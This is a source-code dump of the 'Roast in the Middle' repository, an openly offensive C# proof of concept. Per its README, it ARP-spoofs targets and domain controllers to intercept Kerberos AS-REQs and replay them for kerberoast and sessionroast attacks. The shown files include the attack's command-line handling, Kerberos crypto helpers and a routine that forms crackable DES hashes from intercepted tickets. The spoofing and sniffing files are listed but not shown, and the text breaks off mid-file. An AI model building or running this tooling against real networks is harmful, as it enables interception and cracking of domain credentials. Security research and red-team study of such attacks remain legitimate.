├── .gitignore ├── LICENSE ├── README.md ├── RoastInTheMiddle.sln └── RoastInTheMiddle ├── Command ├── ArgumentParser.cs ├── ArgumentParserResult.cs ├── Roast.cs └── Usage.cs ├── Lib ├── Asn1 │ ├── AsnElt.cs │ ├── AsnException.cs │ └── AsnIO.cs ├── Crypto.cs ├── Helpers.cs ├── Interop.cs ├── Krb │ ├── AP_REQ.cs │ ├── AS_REP.cs │ ├── AS_REQ.cs │ ├── Authenticator.cs │ ├── Checksum.cs │ ├── EncKrbCredPart.cs │ ├── EncryptedData.cs │ ├── EncryptionKey.cs │ ├── HostAddress.cs │ ├── KDCReqBody.cs │ ├── KRB_CRED.cs │ ├── KRB_ERROR.cs │ ├── KrbCredInfo.cs │ ├── PA_DATA.cs │ ├── PA_ENC_TS_ENC.cs │ ├── PA_PAC_REQUEST.cs │ ├── PrincipalName.cs │ ├── TGS_REP.cs │ ├── TGS_REQ.cs │ └── Ticket.cs ├── Reassembler.cs ├── RitM.cs ├── Roaster.cs ├── Sniffer.cs └── Spoofer.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── RoastInTheMiddle.csproj ├── app.config └── packages.config /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | packages 3 | *.user 4 | [Dd]ebug/ 5 | [Rr]elease/ 6 | [Bb]in/ 7 | [Oo]bj/ 8 | .DS_Store 9 | 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Roast in the Middle is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2022, Charlie Clark 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Roast in the Middle is a rough proof of concept (not attack-ready) that implements a man-in-the-middle ARP spoof to intercept AS-REQ's to modify and replay to perform a Kerberoast or Sessionroast attack. 2 | 3 | For more information about the kerberoast attack, read the blog post [All Ur AS Are Belong To Us](https://www.semperis.com/blog/new-attack-paths-as-requested-sts). 4 | 5 | For more information about the sessionroast attack, read the blog post [DES Is Useful... Sometimes](https://exploit.ph/des-is-useful.html) 6 | 7 | To run this proof of concept [npcap](https://npcap.com/) needs to be installed on the machine and administrative privileges are required. This is because to perform the MitM it uses [sharppcap](https://github.com/dotpcap/sharppcap). 8 | 9 | Some of the code to decode Kerberos traffic is taken from [Rubeus](https://github.com/GhostPack/Rubeus). 10 | 11 | ## Arguments 12 | 13 | All the following arguments are mandatory for both commands. 14 | 15 | * /listenip:IP - IP address to listen on 16 | * /targets:IP1,IP2... - IP addresses of targets to man-in-the-middle 17 | * /dcs:IP1,IP2... - IP addresses of domain controllers 18 | 19 | This proof of concept will only be useful if the attack machine, targets and domain controllers are all on the same network segment due to the reliance on ARP spoofing, it could be modified to support a gateway for either the targets or DCs. 20 | 21 | ## Commands 22 | 23 | ### kerberoast 24 | 25 | The following argument is mandatory for the `kerberoast` command. 26 | 27 | * /spns:SPNs - SPNs or usernames to kerberoast (can be a file or comma separated values) 28 | 29 | ### sessionroast 30 | 31 | The following argument is mandatory for the `sessionroast` command. 32 | 33 | * /tgt:[base64|FILE] - the TGT to use for the U2U requests 34 | -------------------------------------------------------------------------------- /RoastInTheMiddle.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31424.327 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RoastInTheMiddle", "RoastInTheMiddle\RoastInTheMiddle.csproj", "{CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {CF46F622-D6A4-4A8D-A57C-CA1FCADCB59E}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B21FA555-4A10-4EFF-9F35-AD421AA37034} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Command/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace RoastInTheMiddle.Command 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | { 18 | arguments[argument.Substring(0, idx).ToLower()] = argument.Substring(idx + 1); 19 | } 20 | else 21 | { 22 | idx = argument.IndexOf('='); 23 | if (idx > 0) 24 | { 25 | arguments[argument.Substring(0, idx).ToLower()] = argument.Substring(idx + 1); 26 | } 27 | else 28 | { 29 | arguments[argument.ToLower()] = string.Empty; 30 | } 31 | } 32 | } 33 | 34 | return ArgumentParserResult.Success(arguments); 35 | } 36 | catch (System.Exception ex) 37 | { 38 | Debug.WriteLine(ex.Message); 39 | return ArgumentParserResult.Failure(); 40 | } 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Command/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace RoastInTheMiddle.Command 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Command/Roast.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using RoastInTheMiddle.Lib; 9 | using RoastInTheMiddle.Lib.Krb; 10 | 11 | namespace RoastInTheMiddle.Command 12 | { 13 | public class Roast 14 | { 15 | public static void Execute(Dictionary arguments) 16 | { 17 | List spns = new List(); 18 | string listenIP = null; 19 | List targets = null; 20 | List dcIPs = null; 21 | Program.verbose = arguments.ContainsKey("/verbose"); 22 | 23 | if (arguments.ContainsKey("/listenip")) 24 | { 25 | listenIP = arguments["/listenip"]; 26 | } 27 | 28 | if (arguments.ContainsKey("/spns")) 29 | { 30 | if (System.IO.File.Exists(arguments["/spns"])) 31 | { 32 | string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/spns"])); 33 | foreach (string s in fileContent.Split('\n')) 34 | { 35 | if (!String.IsNullOrEmpty(s)) 36 | { 37 | spns.Add(s.Trim()); 38 | } 39 | } 40 | } 41 | else 42 | { 43 | foreach (string s in arguments["/spns"].Split(',')) 44 | { 45 | spns.Add(s); 46 | } 47 | } 48 | } 49 | 50 | if (Program.command.Equals("kerberoast") && spns.Count < 1) 51 | { 52 | Console.WriteLine("[X] '/spns' argument is required to execute this command."); 53 | Usage.Print(); 54 | return; 55 | } 56 | 57 | if (arguments.ContainsKey("/tgt")) 58 | { 59 | string kirbi64 = arguments["/tgt"]; 60 | if (Helpers.IsBase64String(kirbi64)) 61 | { 62 | byte[] kirbiBytes = Convert.FromBase64String(kirbi64); 63 | Program.tgt = new KRB_CRED(kirbiBytes); 64 | } 65 | else if (File.Exists(kirbi64)) 66 | { 67 | byte[] kirbiBytes = File.ReadAllBytes(kirbi64); 68 | Program.tgt = new KRB_CRED(kirbiBytes); 69 | } 70 | else if (Program.command.Equals("sessionroast")) 71 | { 72 | Console.WriteLine("[X] /tgt:X must either be a .kirbi file or a base64 encoded .kirbi"); 73 | return; 74 | } 75 | } 76 | else if (Program.command.Equals("sessionroast")) 77 | { 78 | Console.WriteLine("[X] the 'sessionroast' command requires the /tgt:X argument"); 79 | Usage.Print(); 80 | return; 81 | } 82 | 83 | if (arguments.ContainsKey("/targets")) 84 | { 85 | targets = new List(); 86 | foreach (var target in arguments["/targets"].Split(',')) 87 | { 88 | try 89 | { 90 | targets.Add(IPAddress.Parse(target)); 91 | } 92 | catch 93 | { 94 | Console.WriteLine($"[!] Unable to parse IP {target}, skipping"); 95 | } 96 | } 97 | if (targets.Count < 1) 98 | { 99 | Console.WriteLine($"[X] No viable targets set!"); 100 | return; 101 | } 102 | } 103 | if (arguments.ContainsKey("/dcs")) 104 | { 105 | dcIPs = new List(); 106 | foreach (var dc in arguments["/dcs"].Split(',')) 107 | { 108 | try 109 | { 110 | dcIPs.Add(IPAddress.Parse(dc)); 111 | } 112 | catch 113 | { 114 | Console.WriteLine($"[!] Unable to parse IP {dc}, skipping"); 115 | } 116 | } 117 | if (dcIPs.Count < 1) 118 | { 119 | Console.WriteLine($"[X] No viable DCs set!"); 120 | return; 121 | } 122 | } 123 | 124 | if (!string.IsNullOrWhiteSpace(listenIP)) 125 | { 126 | Console.WriteLine($"[*] Starting RitM {Program.command} attack"); 127 | RitM.Run(listenIP, targets, dcIPs, spns).Wait(); 128 | Console.WriteLine($"[*] Finished RitM {Program.command} attack"); 129 | } 130 | else 131 | { 132 | Usage.Print(); 133 | } 134 | } 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Command/Usage.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace RoastInTheMiddle.Command 5 | { 6 | class Usage 7 | { 8 | public static void Print() 9 | { 10 | string[] cmd = Environment.GetCommandLineArgs()[0].Split(Path.DirectorySeparatorChar); 11 | Console.WriteLine("Kerberoast command:\n"); 12 | Console.WriteLine($"Usage: {cmd[cmd.Length - 1]} kerberoast /listenip:[IP ADDRESS] /dcs:[IP1,IP2...] /targets:[IP1,IP2...] /spns:[SPNS]"); 13 | Console.WriteLine("\nSessionroast command:\n"); 14 | Console.WriteLine($"Usage: {cmd[cmd.Length - 1]} sessionroast /listenip:[IP ADDRESS] /dcs:[IP1,IP2...] /targets:[IP1,IP2...] /tgt:[B64|FILE KIRBI]"); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Asn1/AsnException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Asn1 5 | { 6 | 7 | public class AsnException : IOException 8 | { 9 | 10 | public AsnException(string message) 11 | : base(message) 12 | { 13 | } 14 | 15 | public AsnException(string message, Exception nested) 16 | : base(message, nested) 17 | { 18 | } 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Asn1/AsnIO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Asn1 4 | { 5 | 6 | public static class AsnIO 7 | { 8 | 9 | public static byte[] FindDER(byte[] buf) 10 | { 11 | return FindBER(buf, true); 12 | } 13 | 14 | public static byte[] FindBER(byte[] buf) 15 | { 16 | return FindBER(buf, false); 17 | } 18 | 19 | /* 20 | * Find a BER/DER object in the provided buffer. If the data is 21 | * not already in the right format, conversion to string then 22 | * Base64 decoding is attempted; in the latter case, PEM headers 23 | * are detected and skipped. In any case, the returned buffer 24 | * must begin with a well-formed tag and length, corresponding to 25 | * the object length. 26 | * 27 | * If 'strictDER' is true, then the function furthermore insists 28 | * on the object to use a defined DER length. 29 | * 30 | * The returned buffer may be the source buffer itself, or a newly 31 | * allocated buffer. 32 | * 33 | * On error, null is returned. 34 | */ 35 | public static byte[] FindBER(byte[] buf, bool strictDER) 36 | { 37 | string pemType = null; 38 | return FindBER(buf, strictDER, out pemType); 39 | } 40 | 41 | /* 42 | * Find a BER/DER object in the provided buffer. If the data is 43 | * not already in the right format, conversion to string then 44 | * Base64 decoding is attempted; in the latter case, PEM headers 45 | * are detected and skipped. In any case, the returned buffer 46 | * must begin with a well-formed tag and length, corresponding to 47 | * the object length. 48 | * 49 | * If 'strictDER' is true, then the function furthermore insists 50 | * on the object to use a defined DER length. 51 | * 52 | * If the source was detected to use PEM, then the object type 53 | * indicated by the PEM header is written in 'pemType'; otherwise, 54 | * that variable is set to null. 55 | * 56 | * The returned buffer may be the source buffer itself, or a newly 57 | * allocated buffer. 58 | * 59 | * On error, null is returned. 60 | */ 61 | public static byte[] FindBER(byte[] buf, 62 | bool strictDER, out string pemType) 63 | { 64 | pemType = null; 65 | 66 | /* 67 | * If it is already (from the outside) a BER object, 68 | * return it. 69 | */ 70 | if (LooksLikeBER(buf, strictDER)) 71 | { 72 | return buf; 73 | } 74 | 75 | /* 76 | * Convert the blob to a string. We support UTF-16 with 77 | * and without a BOM, UTF-8 with and without a BOM, and 78 | * ASCII-compatible encodings. Non-ASCII characters get 79 | * truncated. 80 | */ 81 | if (buf.Length < 3) 82 | { 83 | return null; 84 | } 85 | string str = null; 86 | if ((buf.Length & 1) == 0) 87 | { 88 | if (buf[0] == 0xFE && buf[1] == 0xFF) 89 | { 90 | // Starts with big-endian UTF-16 BOM 91 | str = ConvertBi(buf, 2, true); 92 | } 93 | else if (buf[0] == 0xFF && buf[1] == 0xFE) 94 | { 95 | // Starts with little-endian UTF-16 BOM 96 | str = ConvertBi(buf, 2, false); 97 | } 98 | else if (buf[0] == 0) 99 | { 100 | // First byte is 0 -> big-endian UTF-16 101 | str = ConvertBi(buf, 0, true); 102 | } 103 | else if (buf[1] == 0) 104 | { 105 | // Second byte is 0 -> little-endian UTF-16 106 | str = ConvertBi(buf, 0, false); 107 | } 108 | } 109 | if (str == null) 110 | { 111 | if (buf[0] == 0xEF 112 | && buf[1] == 0xBB 113 | && buf[2] == 0xBF) 114 | { 115 | // Starts with UTF-8 BOM 116 | str = ConvertMono(buf, 3); 117 | } 118 | else 119 | { 120 | // Assumed ASCII-compatible mono-byte encoding 121 | str = ConvertMono(buf, 0); 122 | } 123 | } 124 | if (str == null) 125 | { 126 | return null; 127 | } 128 | 129 | /* 130 | * Try to detect a PEM header and footer; if we find both 131 | * then we remove both, keeping only the characters that 132 | * occur in between. 133 | */ 134 | int p = str.IndexOf("-----BEGIN "); 135 | int q = str.IndexOf("-----END "); 136 | if (p >= 0 && q >= 0) 137 | { 138 | p += 11; 139 | int r = str.IndexOf((char)10, p) + 1; 140 | int px = str.IndexOf('-', p); 141 | if (px > 0 && px < r && r > 0 && r <= q) 142 | { 143 | pemType = string.Copy(str.Substring(p, px - p)); 144 | str = str.Substring(r, q - r); 145 | } 146 | } 147 | 148 | /* 149 | * Convert from Base64. 150 | */ 151 | try 152 | { 153 | buf = Convert.FromBase64String(str); 154 | if (LooksLikeBER(buf, strictDER)) 155 | { 156 | return buf; 157 | } 158 | } 159 | catch 160 | { 161 | // ignored: not Base64 162 | } 163 | 164 | /* 165 | * Decoding failed. 166 | */ 167 | return null; 168 | } 169 | 170 | /* =============================================================== */ 171 | 172 | /* 173 | * Decode a tag; returned value is true on success, false otherwise. 174 | * On success, 'off' is updated to point to the first byte after 175 | * the tag. 176 | */ 177 | static bool DecodeTag(byte[] buf, int lim, ref int off) 178 | { 179 | int p = off; 180 | if (p >= lim) 181 | { 182 | return false; 183 | } 184 | int v = buf[p++]; 185 | if ((v & 0x1F) == 0x1F) 186 | { 187 | do 188 | { 189 | if (p >= lim) 190 | { 191 | return false; 192 | } 193 | v = buf[p++]; 194 | } while ((v & 0x80) != 0); 195 | } 196 | off = p; 197 | return true; 198 | } 199 | 200 | /* 201 | * Decode a BER length. Returned value is: 202 | * -2 no decodable length 203 | * -1 indefinite length 204 | * 0+ definite length 205 | * If a definite or indefinite length could be decoded, then 'off' 206 | * is updated to point to the first byte after the length. 207 | */ 208 | static int DecodeLength(byte[] buf, int lim, ref int off) 209 | { 210 | int p = off; 211 | if (p >= lim) 212 | { 213 | return -2; 214 | } 215 | int v = buf[p++]; 216 | if (v < 0x80) 217 | { 218 | off = p; 219 | return v; 220 | } 221 | else if (v == 0x80) 222 | { 223 | off = p; 224 | return -1; 225 | } 226 | v &= 0x7F; 227 | if ((lim - p) < v) 228 | { 229 | return -2; 230 | } 231 | int acc = 0; 232 | while (v-- > 0) 233 | { 234 | if (acc > 0x7FFFFF) 235 | { 236 | return -2; 237 | } 238 | acc = (acc << 8) + buf[p++]; 239 | } 240 | off = p; 241 | return acc; 242 | } 243 | 244 | /* 245 | * Get the length, in bytes, of the object in the provided 246 | * buffer. The object begins at offset 'off' but does not extend 247 | * farther than offset 'lim'. If no such BER object can be 248 | * decoded, then -1 is returned. The returned length includes 249 | * that of the tag and length fields. 250 | */ 251 | static int BERLength(byte[] buf, int lim, int off) 252 | { 253 | int orig = off; 254 | if (!DecodeTag(buf, lim, ref off)) 255 | { 256 | return -1; 257 | } 258 | int len = DecodeLength(buf, lim, ref off); 259 | if (len >= 0) 260 | { 261 | if (len > (lim - off)) 262 | { 263 | return -1; 264 | } 265 | return off + len - orig; 266 | } 267 | else if (len < -1) 268 | { 269 | return -1; 270 | } 271 | 272 | /* 273 | * Indefinite length: we must do some recursive exploration. 274 | * End of structure is marked by a "null tag": object has 275 | * total length 2 and its tag byte is 0. 276 | */ 277 | for (; ; ) 278 | { 279 | int slen = BERLength(buf, lim, off); 280 | if (slen < 0) 281 | { 282 | return -1; 283 | } 284 | off += slen; 285 | if (slen == 2 && buf[off] == 0) 286 | { 287 | return off - orig; 288 | } 289 | } 290 | } 291 | 292 | static bool LooksLikeBER(byte[] buf, bool strictDER) 293 | { 294 | return LooksLikeBER(buf, 0, buf.Length, strictDER); 295 | } 296 | 297 | static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER) 298 | { 299 | int lim = off + len; 300 | int objLen = BERLength(buf, lim, off); 301 | if (objLen != len) 302 | { 303 | return false; 304 | } 305 | if (strictDER) 306 | { 307 | DecodeTag(buf, lim, ref off); 308 | return DecodeLength(buf, lim, ref off) >= 0; 309 | } 310 | else 311 | { 312 | return true; 313 | } 314 | } 315 | 316 | static string ConvertMono(byte[] buf, int off) 317 | { 318 | int len = buf.Length - off; 319 | char[] tc = new char[len]; 320 | for (int i = 0; i < len; i++) 321 | { 322 | int v = buf[off + i]; 323 | if (v < 1 || v > 126) 324 | { 325 | v = '?'; 326 | } 327 | tc[i] = (char)v; 328 | } 329 | return new string(tc); 330 | } 331 | 332 | static string ConvertBi(byte[] buf, int off, bool be) 333 | { 334 | int len = buf.Length - off; 335 | if ((len & 1) != 0) 336 | { 337 | return null; 338 | } 339 | len >>= 1; 340 | char[] tc = new char[len]; 341 | for (int i = 0; i < len; i++) 342 | { 343 | int b0 = buf[off + (i << 1) + 0]; 344 | int b1 = buf[off + (i << 1) + 1]; 345 | int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8)); 346 | if (v < 1 || v > 126) 347 | { 348 | v = '?'; 349 | } 350 | tc[i] = (char)v; 351 | } 352 | return new string(tc); 353 | } 354 | } 355 | 356 | } 357 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Crypto.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace RoastInTheMiddle.Lib 6 | { 7 | public class Crypto 8 | { 9 | public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) 10 | { 11 | Interop.KERB_ECRYPT pCSystem; 12 | IntPtr pCSystemPtr; 13 | 14 | // locate the crypto system 15 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); 16 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); 17 | if (status != 0) 18 | throw new Exception($"Error on CDLocateCSystem: {status}"); 19 | 20 | // initialize everything 21 | IntPtr pContext; 22 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); 23 | Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt)); 24 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); 25 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); 26 | if (status != 0) 27 | throw new Exception($"Error: {status}"); 28 | 29 | int outputSize = data.Length; 30 | if (data.Length % pCSystem.BlockSize != 0) 31 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); 32 | 33 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); 34 | 35 | outputSize += pCSystem.Size; 36 | byte[] output = new byte[outputSize]; 37 | 38 | // actually perform the decryption 39 | status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize); 40 | pCSystemFinish(ref pContext); 41 | 42 | return output; 43 | } 44 | 45 | public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) 46 | { 47 | Interop.KERB_ECRYPT pCSystem; 48 | IntPtr pCSystemPtr; 49 | 50 | // locate the crypto system 51 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); 52 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); 53 | if (status != 0) 54 | throw new Exception($"Error on CDLocateCSystem {status}"); 55 | 56 | // initialize everything 57 | IntPtr pContext; 58 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); 59 | Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt)); 60 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); 61 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); 62 | if (status != 0) 63 | throw new Exception($"Error: {status}"); 64 | 65 | int outputSize = data.Length; 66 | if (data.Length % pCSystem.BlockSize != 0) 67 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); 68 | 69 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); 70 | 71 | outputSize += pCSystem.Size; 72 | byte[] output = new byte[outputSize]; 73 | 74 | // actually perform the decryption 75 | status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize); 76 | pCSystemFinish(ref pContext); 77 | 78 | return output.Take(outputSize).ToArray(); 79 | } 80 | 81 | public static string FormDESHash(string stCypherHex, byte[] knownPlain) 82 | { 83 | /*int encSize = stCypherHex.Length / 2; 84 | int decSize = encSize - 24; 85 | short appSize = (short)(decSize - 4); 86 | short seqSize = (short)(appSize - 4); 87 | byte[] appBytes = BitConverter.GetBytes(appSize); 88 | byte[] seqBytes = BitConverter.GetBytes(seqSize); 89 | if (BitConverter.IsLittleEndian) 90 | { 91 | Array.Reverse(appBytes); 92 | Array.Reverse(seqBytes); 93 | } 94 | 95 | byte[] knownPlain = { 0x63, 0x82, appBytes[0], appBytes[1], 0x30, 0x82, seqBytes[0], seqBytes[1] };*/ 96 | byte[] IV = Helpers.StringToByteArray(stCypherHex.Substring(32, 16)); 97 | byte[] firstBlock = Helpers.StringToByteArray(stCypherHex.Substring(48, 16)); 98 | 99 | byte[] xoredIV = new byte[IV.Length]; 100 | for (int i = 0; i < IV.Length; i++) 101 | { 102 | xoredIV[i] = (byte)(knownPlain[i] ^ IV[i]); 103 | } 104 | 105 | return string.Format("{0}:{1}", Helpers.ByteArrayToString(firstBlock), Helpers.ByteArrayToString(xoredIV)); 106 | } 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Helpers.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text.RegularExpressions; 6 | 7 | namespace RoastInTheMiddle.Lib 8 | { 9 | public class Helpers 10 | { 11 | static public bool WriteBytesToFile(string filename, byte[] data, bool overwrite = false) 12 | { 13 | bool result = true; 14 | string filePath = Path.GetFullPath(filename); 15 | 16 | try 17 | { 18 | if (!overwrite) 19 | { 20 | if (File.Exists(filePath)) 21 | { 22 | throw new Exception(String.Format("{0} already exists! Data not written to file.\r\n", filePath)); 23 | } 24 | } 25 | File.WriteAllBytes(filePath, data); 26 | } 27 | catch (Exception e) 28 | { 29 | Console.WriteLine("\r\nException: {0}", e.Message); 30 | result = false; 31 | } 32 | 33 | return result; 34 | } 35 | 36 | public static bool IsBase64String(string s) 37 | { 38 | s = s.Trim(); 39 | return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None); 40 | } 41 | 42 | public static byte[] StringToByteArray(string hex) 43 | { 44 | // converts a rc4/AES/etc. string into a byte array representation 45 | 46 | if ((hex.Length % 16) != 0) 47 | { 48 | Console.WriteLine("\r\n[X] Hash must be 16, 32 or 64 characters in length\r\n"); 49 | System.Environment.Exit(1); 50 | } 51 | 52 | // yes I know this inefficient 53 | return Enumerable.Range(0, hex.Length) 54 | .Where(x => x % 2 == 0) 55 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 56 | .ToArray(); 57 | } 58 | 59 | public static string ByteArrayToString(byte[] bytes) 60 | { 61 | char[] c = new char[bytes.Length * 2]; 62 | int b; 63 | for (int i = 0; i < bytes.Length; i++) 64 | { 65 | b = bytes[i] >> 4; 66 | c[i * 2] = (char)(55 + b + (((b - 10) >> 31) & -7)); 67 | b = bytes[i] & 0xF; 68 | c[i * 2 + 1] = (char)(55 + b + (((b - 10) >> 31) & -7)); 69 | } 70 | return new string(c); 71 | } 72 | 73 | public static IEnumerable Split(string text, int partLength) 74 | { 75 | // splits a string into partLength parts 76 | if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); } 77 | if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); } 78 | 79 | var partCount = Math.Ceiling((double)text.Length / partLength); 80 | if (partCount < 2) 81 | { 82 | yield return text; 83 | } 84 | 85 | for (int i = 0; i < partCount; i++) 86 | { 87 | var index = i * partLength; 88 | var lengthLeft = Math.Min(partLength, text.Length - index); 89 | var line = text.Substring(index, lengthLeft); 90 | yield return line; 91 | } 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Interop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace RoastInTheMiddle.Lib 9 | { 10 | public class Interop 11 | { 12 | public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1; 13 | public const int KRB_KEY_USAGE_AS_REP_TGS_REP = 2; 14 | public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7; 15 | 16 | public enum KERB_MESSAGE_TYPE : long 17 | { 18 | AS_REQ = 10, 19 | AS_REP = 11, 20 | TGS_REQ = 